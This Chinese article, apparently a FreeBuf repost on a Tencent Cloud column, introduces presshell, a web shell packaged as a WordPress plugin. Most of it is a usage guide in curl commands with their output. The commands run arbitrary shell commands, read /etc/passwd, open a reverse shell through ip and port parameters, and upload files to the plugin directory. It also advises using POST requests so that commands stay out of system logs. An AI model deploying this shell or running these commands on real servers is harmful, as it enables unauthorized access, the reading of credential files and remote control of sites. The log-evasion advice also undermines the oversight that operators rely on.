前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何使用presshell在WordPress主机上执行Shell命令

如何使用presshell在WordPress主机上执行Shell命令

作者头像
FB客服
发布2022-06-08 13:46:59
5260
发布2022-06-08 13:46:59
举报
文章被收录于专栏:FreeBufFreeBuf

关于presshell

presshell是一款针对WordPress的Shell工具,该工具可以帮助广大研究人员上传Shell文件,并在WordPress服务器/主机上轻松执行Shell命令。注意,上传Shell的路径为“<your-host>/wp-content/plugins/shell/shell.php”。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/scheatkode/presshell.git

工具安装

在安装该工具之前,请确保已经拿到了WordPress的管理员权限,并且能够安装插件,否则可能无法正常将PHP文件发送至WordPress的媒体资料库中。

接下来,直接上传该项目【Releases页面】提供的zip文件即可。

工具使用

该工具的使用也非常简单,我们可以直接将“sh”命令以参数的形式传递给Shell即可:

代码语言:javascript
复制
❯ curl 'http://host/.../shell.php?cmd=uname+-a'

Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux

当然了,我们也可以将下列参数在POST请求中发送,我们也建议大家使用这种方式来保证命令执行不会被记录到系统日志中:

代码语言:javascript
复制
❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'

LICENSE

README.md

shell.php

除此之外,该工具还支持使用一些更加复杂的命令,:

代码语言:javascript
复制
❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=cat /etc/passwd | grep -v "\(false\|nologin\)"'

root:x:0:0:root:/root:/bin/bash

sync:x:4:65534:sync:/bin:/bin/sync
代码语言:javascript
复制
❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=python -c "from urllib.parse import urlencode; print(urlencode({\"cmd\": \"uname -a\"}))"'

cmd=uname+-a

我们还可以使用“ip”和“port”参数来开启一个方向Shell,默认端口为“443”:

代码语言:javascript
复制
❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1'
代码语言:javascript
复制
❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1' --data-urlencode 'port=1337'

我们还可以使用下列命令向插件目录轻松上传一个文件,而且无需通过任何检测:

代码语言:javascript
复制
❯ curl 'http://host/.../shell.php' -F 'file=@some_file'
代码语言:javascript
复制
❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'

LICENSE

README.md

shell.php

some_file
许可证协议
代码语言:javascript
复制
本项目的开发与发布遵循MIT开源许可证协议。

项目地址

https://github.com/scheatkode/presshell

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-04-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 关于presshell
  • 工具下载
  • 工具安装
  • 工具使用
相关产品与服务
网站建设
网站建设(Website Design Service,WDS),是帮助您快速搭建企业网站的服务。通过自助模板建站工具及专业设计服务,无需了解代码技术,即可自由拖拽模块,可视化完成网站管理。全功能管理后台操作方便,一次更新,数据多端同步,省时省心。使用网站建设服务,您无需维持技术和设计师团队,即可快速实现网站上线,达到企业数字化转型的目的。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档